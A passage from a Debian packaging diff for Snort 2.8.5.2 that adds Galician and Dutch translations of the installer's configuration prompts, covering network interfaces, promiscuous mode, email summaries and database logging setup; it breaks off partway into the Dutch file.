+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Modo de inicio de Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort pode arrincarse no inicio do sistema, ao se conectar á rede mediante "
+"pppd ou só manualmente mediante a orde /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interfaces nas que Snort debe escoitar:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Este valor adoita ser \"eth0\", pero pode non ser axeitado nalgunhas redes; "
+"para unha conexión por módem, \"ppp0\" pode ser a opción axeitada (consulte "
+"a saída da orde \"/sbin/ifconfig\")."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalmente esta é a mesma interface na que está a \"ruta por defecto\". "
+"Pode determinar a interface que se emprega executando a orde \"/sbin/route -n"
+"\" (busque \"0.0.0.0\")."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Tampouco é pouco habitual empregar unha interface sen IP e configurada en "
+"modo promiscuo. Nestes casos, escolla a interface deste sistema que estea "
+"conectada fisicamente á rede que se debe inspeccionar, active despois o modo "
+"propiscuo e asegúrese de que o tráfico da rede se envíe a esta interface "
+"(conectada a un porto \"espello/árbore\" dun switch, a un concentrador de "
+"rede ou a unha toma)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Pode configurar varias interfaces engadindo varios nomes de interfaces "
+"separados mediante espazos. Cada interface pode ter a súa propia "
+"configuración específica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Rango de enderezos da rede local:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Empregue a forma CIDR - por exemplo, 192.168.1.0/24 para un bloque de 256 "
+"enderezos ou 192.168.1.42/32 para só un. Para fornecer unha lista, dea "
+"varios valores separados por comas (sen espazos)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Teña en conta que se Snort está configurado para empregar varias interfaces, "
+"ha empregar este valor coma a definición HOME_NET de todas elas."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "¿Debería desactivar Snort o modo promíscuo na interface?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Desactivar o modo promiscui significa que Snort só ha ver os paquetes "
+"dirixidos á interface que está a monitorizar. Activalo permite a Snort "
+"comprobar cada paquete que pase polo segmento Ethernet, incluso se é unha "
+"conexión entre outros dous ordenadores."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interface non válida"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort tenta empregar unha interface que non existe ou está desconectada. É "
+"posible que o valor por defecto \"eth0\" non sexa axeitado, ou que indicara "
+"unha interface non válida."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "¿Débese cambiar a orde de comprobación de Snort a Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"A orde de comprobación por defecto de Snort é Alert|Pass|Log; se acepta esta "
+"opción, a orde hase cambiar a Pass|Alert|Log, o que pode simplificar o uso "
+"de Snort con algunhas ferramentas de filtrado de paquetes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "¿Débense enviar os resumos diarios por email?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Pódese establecer unha tarefa de cron para enviar resumos diarios dos "
+"rexistros de Snort ao enderezo de email que se indique."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Indique se quere activar esta característica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatario dos emails diarios de estatísticas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Indique o enderezo que debería recibir os resumos diarios dos rexistros de "
+"Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opcións personalizadas adicionais:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Indique as opcións adicionais que quere que empregue Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Número mínimo de aparicións antes de informar das alertas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Introduza o número mínimo de aparicións das alertas antes de incluír unha "
+"delas nas estatísticas diarias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Precísase de reiniciar Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Como se inicia Snort manualmente, ha ter que executar \"/etc/init.d/snort\" "
+"para que os cambios tomen efecto."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Erro na configuración"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"A configuración actual de Snort non é valida e ha impedir que Snort se "
+"inicie normalmente. Revísea e corríxaa."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Para diagnosticar un erro nun ficheiro de configuración de Snort, empregue "
+"\"/usr/sbin/snort -T -c <ficheiro>\"."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Ficheiro de configuración obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Este sistema emprega un ficheiro de configuración obsoleto (/etc/snort/snort."
+"common.parameters) que se convertiu automáticamente ao novo formato de "
+"ficheiros de configuración (en /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Revise a nova configuración e elimine a obsoleta. Ata que o faga, o script "
+"de inicialización non ha empregar a nova configuración e non ha poder "
+"aproveitar as avantaxes introducidas nas novas versións."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "¿Configurar unha base de datos para os rexistros de snort-mysql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Non se configurou unha base de datos para que Snort rexistre nela. Antes de "
+"continuar debería asegurarse de ter:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - o nome do servidor (o servidor debe admitir conexións TCP\n"
+"   desde esta máquina);\n"
+" - unha base de datos nese servidor;\n"
+" - un nome de usuario e contrasinal para acceder á base de datos."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Se non ten algúns destes datos, decline esta opción e execute Snort co "
+"soporte de rexistro en ficheiros normal."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Pódese reconfigurar o rexistro na base de datos a posteriori executando "
+"\"dpkg-reconfigure -plow snort-mysql\"."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nome do servidor de bases de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Indique o nome dun servidor de bases de datos que admita conexións entrantes "
+"desta máquina."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nome da base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Introduza o nome dunha base de datos que xa exista para o que o usuario da "
+"base de datos teña acceso de escritura."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nome de usuario para acceder á base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Indique un nome de usuario do servidor de bases de datos que teña acceso de "
+"escritura á base de datos."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Contrasinal para a conexión á base de datos:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduza o contrasinal a empregar para se conectar á base de datos de "
+"alertas de Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Snort precisa dunha base de datos configurada"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort precisa dunha base de datos configurada antes de se poder iniciar con "
+"éxito. Para crear a estructura ten que executar as seguintes ordes DESPOIS "
+"de instalar o paquete:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuario> -h <servidor> -p <nomebasedatos>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Introduza os valores correctos para os nomes do usuario, servidor e base de "
+"datos. MySQL halle pedir o contrasinal."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Despois de crear a estructura da base de datos ha ter que iniciar Snort "
+"manualmente."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "¿Configurar unha base de datos para os rexistros de snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Pódese reconfigurar o rexistro na base de datos a posteriori executando "
+"\"dpkg-reconfigure -plow snort-pgsql\"."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <usuario> -h <servidor> -W <basedatos>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Introduza os valores correctos para os nomes do usuario, servidor e base de "
+"datos. PostgreSQL halle pedir o contrasinal."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Ficheiro de configuración obsoleto"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"O ficheiro de configuración de Snort (/etc/snort/snort.conf) emprega opcións "
+"obsoletas xa non dispoñibles nesta versión de Snort. Snort non ha poderse "
+"iniciar a menos que forneza un ficheiro de configuración correcto. Permita "
+"substituír o ficheiro de configuración co que se fornece neste paquete ou "
+"arránxeo manualmente eliminando as opcións obsoletas."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Atopáronse as seguintes opcións obsoletas no ficheiro de configuración: "
+"${DEP_CONFIG}."
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Está a executar Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Hai un erro na súa configuración"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "inicio, conexión, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "¿Cando se debe iniciar Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Se quere pode especificar \"any\", para non confiar en ningún lado da "
+#~ "rede."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Unha das interfaces que especificou non é válida (pode non existir no "
+#~ "sistema ou estar desactivada). Introduza unha interface válida ao "
+#~ "respostar á pregunta sobre as interfaces nas que ten que escoitar Snort."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Se non configurou unha interface, o paquete tenta empregar a interface "
+#~ "por defecto (\"eth0\"), que non semella válida no seu sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Se cambia a orde de comprobación de regras de Snort a Pass|Alert|Log, "
+#~ "hanse aplicar na orde Aceptar->Avisar->Rexistrar, no canto da orde "
+#~ "estándar Avisar->Aceptar->Rexistrar. Isto ha evitar que a xente teña que "
+#~ "crear argumentos de liña de ordes xigantes para filtrar as súas regras de "
+#~ "aviso."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Esta instalación de Snort fornece unha tarefa de cron que se executa cada "
+#~ "día e envía un resume da información dos rexistros de Snort a un enderezo "
+#~ "de email seleccionado. Se quere desactivar esta característica conteste "
+#~ "\"non\" aquí."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Unha tarefa de cron que se executa diariamente ha resumir a información "
+#~ "dos rexistros xerados por Snort empregando un script chamado \"snort-stat"
+#~ "\". Introduza aquí o destinatario deses emails. O valor por defecto é o "
+#~ "administrador do sistema. Se conserva este valor, asegúrese de que o "
+#~ "email do administrador se redirixa a un usuario que realmente lea esas "
+#~ "mensaxes."
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Se quere especificar opcións personalizadas para Snort, indíqueas aquí."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Reinicie Snort empregando:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para que a configuración tome efecto."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "A súa configuración de Snort non é correcta e Snort non ha poderse "
+#~ "iniciar de xeito normal. Revise a súa configuración e arránxea. Se non o "
+#~ "fai, as actualizacións do paquete Snort han fallar. Para ver o erro que "
+#~ "se xera, execute \"/usr/sbin/snort -T -c /etc/snort/snort.conf\" (ou "
+#~ "apunte a un ficheiro de configuración alternativo se emprega ficheiros "
+#~ "diferentes para interfaces diferentes)."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Só ten que o facer a primeira vez que instale snort-mysql. Antes de "
+#~ "continuar, asegúrese de ter (1) o nome dunha máquina que execute un "
+#~ "servidor mysql configurado para aceptar conexións tcp desta máquina, (2) "
+#~ "unha base de datos nese servidor, (3) un nome de usuario e contrasinal "
+#~ "para acceder á base de datos. Se non ten _todo_ iso, escolla \"non\" e "
+#~ "execute Snort co soporte normal de rexistro en ficheiros ou arranxe a "
+#~ "situación antes de nada. Sempre pode configurar despois o rexistro en "
+#~ "bases de datos, reconfigurando o paquete snort-mysql con \"dpkg-"
+#~ "reconfigure -plow snort-mysql\"."
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Asegúrese de que este usuario estea creado e teña acceso de escritura."
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort precisa dunha base de datos configurada para gardar nela os "
+#~ "rexistros antes de se iniciar"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Só ten que o facer a primeira vez que instale snort-pgsql. Antes de "
+#~ "continuar, asegúrese de ter (1) o nome dunha máquina que execute un "
+#~ "servidor pgsql configurado para aceptar conexións tcp desta máquina, (2) "
+#~ "unha base de datos nese servidor, (3) un nome de usuario e contrasinal "
+#~ "para acceder á base de datos. Se non ten _todo_ iso, escolla \"non\" e "
+#~ "execute Snort co soporte normal de rexistro en ficheiros ou arranxe a "
+#~ "situación antes de nada. Sempre pode configurar despois o rexistro en "
+#~ "bases de datos, reconfigurando o paquete snort-pgsql con \"dpkg-"
+#~ "reconfigure -plow snort-pgsql\"."
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort precisa dunha base de datos configurada antes de se poder iniciar "
+#~ "con éxito. Para crear a estructura ten que executar as seguintes ordes "
+#~ "DESPOIS de instalar o paquete:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <usuario> -h <servidor> -p "
+#~ "<nomebasedatos>\n"
+#~ "Encha os valores corectos para o usuario, servidor e nome da base de "
+#~ "datos. PostgreSQL halle pedir o contrasinal."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "O seu ficheiro de configuración está obsoleto"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introduza os nomes das interfaces nas que debería escoitar Snort. Os "
+#~ "nomes das interfaces dispoñibles pódense consultar executando \"ip link "
+#~ "show\" ou \"ifconfig\". Este valor adoita ser \"eth0\", pero pode "
+#~ "cambialo dependendo do seu ambiente. Se emprega unha conexión por módem, "
+#~ "\"ppp0\" pode ser máis axeitado."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Escolla o rango de enderezos nos que ha escoitar Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Desactive o modo promiscuo se configura Snort nunha interface sen un "
+#~ "enderezo IP configurado."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "Introduza o nome do servidor da base de datos mysql a empregar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Introduza o nome da base de datos a empregar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Introduza o nome do usuario da base de datos a empregar."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr "Introduza o nome do servidor da base de datos pgsql a empregar."
--- snort-2.8.5.2.orig/debian/po/nl.po
+++ snort-2.8.5.2/debian/po/nl.po
@@ -0,0 +1,919 @@
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+# Bart Cornelis <cobaco@linux.be>, 2005.
+#
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-06 09:33+0200\n"
+"Last-Translator: Peter Vandenabeele <peter@vandenabeele.com>\n"
+"Language-Team: debian-l10n-dutch <debian-l10n-dutch@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-15\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "opstarten"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "inbellen"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manueel"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Snort opstart methode:"
+
+#  Type: select
+#  Description
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort kan opgestart worden tijdens het opstarten van de computer, bij het "
+"openen van de netwerkverbinding door pppd of wanneer u het handmatig opstart."
+"via /usr/bin/snort."
+
+#  Type: string
+#  Description
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Op welke interface(s) moet Snort luisteren?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
